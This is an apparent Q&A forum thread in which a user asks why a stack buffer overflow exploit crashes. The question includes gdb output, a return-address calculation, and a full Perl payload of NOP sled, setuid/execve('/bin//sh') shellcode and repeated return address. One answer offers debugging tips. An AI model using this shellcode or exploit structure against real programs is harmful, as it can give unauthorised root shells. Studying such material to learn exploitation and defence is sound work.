0

After overwrite the EIP register, I try breakpoint on the function strcpy() and then run the program after a breakpoint in the debugger.

Then I check the ESP register :

(gdb) i r esp
esp            0xbffff268   0xbffff268

In 0xbffff268 I subtract address (say, 300) :

0xbffff268 - 300 = 0xbffff13c

In the form of little endian = \x3c\xf1\xff\xbf

After the address in the calculations, the address will be used in nopsled I created

NOPSLED + SHELLCODE + ESP

so my exploit is :

`perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x3c\xf1\xff\xbf" x 45'`

When executed using the debugger and then typing c in the debugger, I get Segmentation fault (core dumped) at the address ESP register.

Why my exploit doesn't work ?

  • Can you provide the source code of the program you are trying to exploit? – julian Jan 30 '17 at 5:00
1

Stack growing downwards try adding that value, make sure your payload in a executable area and your calculations right (which we don't know how you do it). Buffer overflow doesn't mean unlimited unfragmented override, check your payload's integrity. If you can share your code we can examine and understand your problem better.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.